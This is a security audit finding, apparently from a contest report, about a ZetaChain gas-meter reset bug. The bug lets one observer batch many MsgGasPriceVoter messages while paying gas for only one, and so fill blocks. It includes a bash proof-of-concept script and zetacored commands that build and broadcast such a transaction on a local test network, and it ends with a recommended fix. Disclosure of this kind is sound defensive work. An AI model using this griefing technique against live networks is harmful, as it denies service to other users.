A single malicious observer can fill the block space with MsgGasPriceVoter messages without proper gas compensation resulting in griefing blocks
Lines of code
Vulnerability details
Impact
ZetaChain blocks can be griefed by a single observer, resulting in the block space being filled with MsgGasPriceVoter messages, preventing other transactions from being processed.
Proof of Concept
Observers submit the gas prices of the external (connected) chains by sending the MsgGasPriceVoter message to ZetaChain. This message is handled in the GasPriceVoter function.
The median gas price is then set in the zEVM's system contract by calling the SetGasPrice function in line 174.
go125: func (k msgServer) GasPriceVoter(goCtx context.Context, msg *types.MsgGasPriceVoter) (*types.MsgGasPriceVoterResponse, error) { ... // [...] 173: 174: gasUsed, err := k.fungibleKeeper.SetGasPrice( 175: ctx, 176: chainIDBigINT, 177: math.NewUint(gasPrice.Prices[gasPrice.MedianIndex]).BigInt(), 178: ) 179: if err != nil { 180: return nil, err 181: } 182: 183: // reset the gas count 184: ❌ k.ResetGasMeterAndConsumeGas(ctx, gasUsed) 185: 186: return &types.MsgGasPriceVoterResponse{}, nil 187: }
As this is a call to the zEVM (Evmos) and gas for this EVM call is accounted differently than gas in Cosmos SDK, the gas meter is reset in line 184 by calling the ResetGasMeterAndConsumeGas function to match the EVM's gas consumption, i.e., consume the amount of gas the EVM has consumed instead of the Cosmos SDK gas.
go206: // ResetGasMeterAndConsumeGas reset first the gas meter consumed value to zero and set it back to the new value 207: // 'gasUsed' 208: func (k *Keeper) ResetGasMeterAndConsumeGas(ctx sdk.Context, gasUsed uint64) { 209: // reset the gas count 210: ctx.GasMeter().RefundGas(ctx.GasMeter().GasConsumed(), "reset the gas count") 211: ctx.GasMeter().ConsumeGas(gasUsed, "apply evm transaction") 212: }
This is typically done by Evmos for MsgEthereumTx messages, as explained in the Evmos documentation - "Matching EVM Gas consumption".
In this instance, the MsgGasPriceVoter message (sent by observers), specifically, the consumed gas, does not necessarily have to match the EVM gas model.
However, contrary to Evmos, the transaction's gas meter is reset on every MsgGasPriceVoter message, ignoring the accumulated gas consumption for multiple messages within a Cosmos SDK transaction (Cosmos allows multiple messages per transaction).
Concretely, Evmos uses the accumulated gas used by multiple messages to ensure that the gas meter accounts for the gas consumed by all messages.
As a result, only the gas for the last MsgGasPriceVoter message is accounted for, and the gas for all previous messages is ignored, allowing the sender (observer) to send a high number of MsgGasPriceVoter messages and only paying the gas for a single message execution.
Consequently, a malicious observer can exploit this to grief ZetaChain blocks so that blocks are mostly filled with MsgGasPriceVoter messages (or any other messages that consume a lot of gas), preventing other transactions from being processed.
This represents a privilege escalation as single observes are not supposed to have such a significant impact on the ZetaChain's block space, and thus, medium severity was chosen.
Please note: This submission demonstrates how the whole ZetaChain network (not only inbound/outbound cctxs) can be significantly impacted (and griefed) by a single observer. Contrary to the medium severity submission "Observer can halt outbound cctx's and steal funds", which only impacts outbound cctx's.
PoC
This quick and dirty proof of concept should demonstrate that the transaction gas meter only consumes a single MsgGasPriceVoter message.
-
Start a local ZetaChain environment with
make start-smoke-testand wait until everything is started -
Access the
zetacore0docker container withdocker exec -it zetacore0 sh -
Determine the observer address with
zetacored keys show operator. Pick theaddressvalue and replace the subsequentOBSERVER_ADDRESSplaceholder with it. -
Copy and paste the following bash script into a file called
gas.sh:bash#!/bin/bash # Number of times to repeat the message num_messages=$1 # Address to be used address=$2 # Start of the JSON file json_start='{ "body": { "messages": [' # Message template message_template='{ "@type": "/zetachain.zetacore.crosschain.MsgGasPriceVoter", "creator": "'$address'", "chain_id": "1337", "price": "10000000001", "block_number": "101", "supply": "100" }' # End of the JSON file json_end=' ], "memo": "", "timeout_height": "0", "extension_options": [], "non_critical_extension_options": [] }, "auth_info": { "signer_infos": [], "fee": { "amount": [ { "denom": "azeta", "amount": "51803" } ], "gas_limit": "518280", "payer": "", "granter": "" }, "tip": null }, "signatures": [] }' # Combine all parts json=$json_start # Add the messages for ((i=1; i<=$num_messages; i++)) do json+=$message_template if (( i != num_messages )) then json+=',' fi done json+=$json_end echo "$json" > gas.json -
chmod +x gas.shand run with./gas.sh 100 OBSERVER_ADDRESS. This will generate a transaction with 100MsgGasPriceVotermessages and stores it ingas.json. -
Sign the transaction
bashzetacored tx sign gas.json --from OBSERVER_ADDRESS --gas=auto --gas-prices=0.4azeta --gas-adjustment=20 --chain-id=athens_101-1 --keyring-backend=test -y --broadcast-mode=block > tx.signed.json -
Broadcast the transaction with
zetacored tx broadcast tx.signed.json -
Query the transaction hash to determine the used gas. Replace
HASHwith the transaction hash from the previous step.bashzetacored q tx --type=hash HASH | grep "gas_used" -
Step 8 should print something like
gas_used: "28704"(the actual value may vary). This is the total gas used by the transaction. However, this value should be much higher as the transaction contains 100MsgGasPriceVotermessages. This indicates that the gas meter is reset on everyMsgGasPriceVotermessage (you can verify it by determining the gas usage from a singleMsgGasPriceVoter)
Tools Used
Manual review
Recommended mitigation steps
Consider not resetting the gas meter for MsgGasPriceVoter messages.
Assessed type
DoS
